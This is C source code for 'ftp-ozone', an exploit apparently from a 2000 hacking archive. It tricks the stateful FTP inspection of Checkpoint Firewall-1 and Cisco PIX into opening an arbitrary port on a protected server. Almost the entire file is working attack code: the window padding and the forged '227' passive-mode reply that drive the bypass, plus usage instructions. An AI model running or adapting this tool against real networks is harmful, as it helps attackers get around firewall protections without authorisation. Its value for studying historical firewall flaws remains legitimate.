home *** CD-ROM | disk | FTP | other *** search
- /*
- ftp-ozone.c
-
- Demonstrate a basic layer violation in "stateful" firewall
- inspection of application data (within IP packets - @#$@#$!):
-
- http://www.checkpoint.com/techsupport/alerts/pasvftp.html
-
- Dug Song <dugsong@monkey.org>
-
- Affected:
- Checkpoint Software Firewall-1 4.0
- Checkpoint Software Firewall-1 3.0
- Cisco PIX Firewall 5.1
- Cisco PIX Firewall 5.0
- Cisco PIX Firewall 4.4(4)
- Cisco PIX Firewall 4.3
- Cisco PIX Firewall 4.2.2
- Cisco PIX Firewall 4.2.1
- Cisco PIX Firewall 4.1.6b
- Cisco PIX Firewall 4.1.6
-
- */
-
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netinet/tcp.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <string.h>
- #include <signal.h>
- #include <setjmp.h>
-
- #define PAD_LEN 128 /* XXX - anything on BSD, but Linux is weird */
-
- #define GREEN "\033[0m\033[01m\033[32m"
- #define OFF "\033[0m"
-
- jmp_buf env_buf;
-
- void
- usage(void)
- {
- fprintf(stderr, "Usage: ftp-ozone [-w win] <ftp-server> <port-to-open>\n");
- exit(1);
- }
-
- u_long
- resolve_host(char *host)
- {
- u_long addr;
- struct hostent *hp;
-
- if (host == NULL) return (0);
-
- if ((addr = inet_addr(host)) == -1)
- {
- if ((hp = gethostbyname(host)) == NULL)
- return (0);
- memcpy((char *)&addr, hp->h_addr, sizeof(addr));
- }
- return (addr);
- }
-
- #define UC(b) (((int)b)&0xff)
-
- int
- ftp_pasv_reply(char *buf, int size, u_long ip, u_short port)
- {
- char *p, *q;
-
- port = htons(port);
- p = (char *)&ip;
- q = (char *)&port;
-
- return (snprintf(buf, size, "227 (%d,%d,%d,%d,%d,%d)\r\n",
- UC(p[0]), UC(p[1]), UC(p[2]), UC(p[3]),
- UC(q[0]), UC(q[1])));
- }
-
- void handle_timeout(int sig)
- {
- alarm(0);
- longjmp(env_buf, 1);
- }
-
- void
- read_server_loop(int fd, int timeout, int pretty)
- {
- char buf[2048];
- int rlen;
-
- if (!setjmp(env_buf))
- {
- signal(SIGALRM, handle_timeout);
- alarm(timeout);
- for (;;)
- {
- if ((rlen = read(fd, buf, sizeof(buf))) == -1)
- break;
- if (pretty)
- {
- buf[rlen] = '\0';
- if (strncmp(buf, "227 ", 4) == 0)
- printf("[" GREEN "%s" OFF "]\n", buf);
- else printf("[%s]\n", buf);
- }
- else write(0, buf, rlen);
- }
- alarm(0);
- }
- }
-
- int
- main(int argc, char *argv[])
- {
- int c, fd, win, len;
- u_long dst;
- u_short dport;
- struct sockaddr_in sin;
- char buf[1024];
-
- win = PAD_LEN;
-
- while ((c = getopt(argc, argv, "w:h?")) != -1)
- {
- switch (c)
- {
- case 'w':
- if ((win = atoi(optarg)) == 0)
- usage();
- break;
- default:
- usage();
- }
- }
- argc -= optind;
- argv += optind;
-
- if (argc != 2)
- usage();
-
- if ((dst = resolve_host(argv[0])) == 0)
- usage();
-
- if ((dport = atoi(argv[1])) == 0)
- usage();
-
- /* Connect to FTP server. */
- memset(&sin, 0, sizeof(sin));
- sin.sin_addr.s_addr = dst;
- sin.sin_family = AF_INET;
- sin.sin_port = htons(21);
-
- if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
- {
- perror("socket");
- exit(1);
- }
- if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &win, sizeof(win)) == -1)
- {
- perror("setsockopt");
- exit(1);
- }
- if (connect(fd, (struct sockaddr *)&sin, sizeof(sin)) == -1)
- {
- perror("connect");
- exit(1);
- }
- read_server_loop(fd, 10, 0);
-
- /* Send padding. */
- len = win - 5; /* XXX - "500 '" */
- memset(buf, '.', len);
-
- if (write(fd, buf, len) != len)
- {
- perror("write");
- exit(1);
- }
- /* Send faked reply. */
- len = ftp_pasv_reply(buf, sizeof(buf), dst, dport);
-
- if (write(fd, buf, len) != len)
- {
- perror("write");
- exit(1);
- }
- read_server_loop(fd, 5, 1);
-
- printf("[ now try connecting to %s %d ]\n", argv[0], dport);
-
- for (;;)
- {
- ;
- }
- /* NOTREACHED */
-
- exit(0);
- }
-
- /* w00w00. */
- /* www.hack.co.za [20 May 2000]*/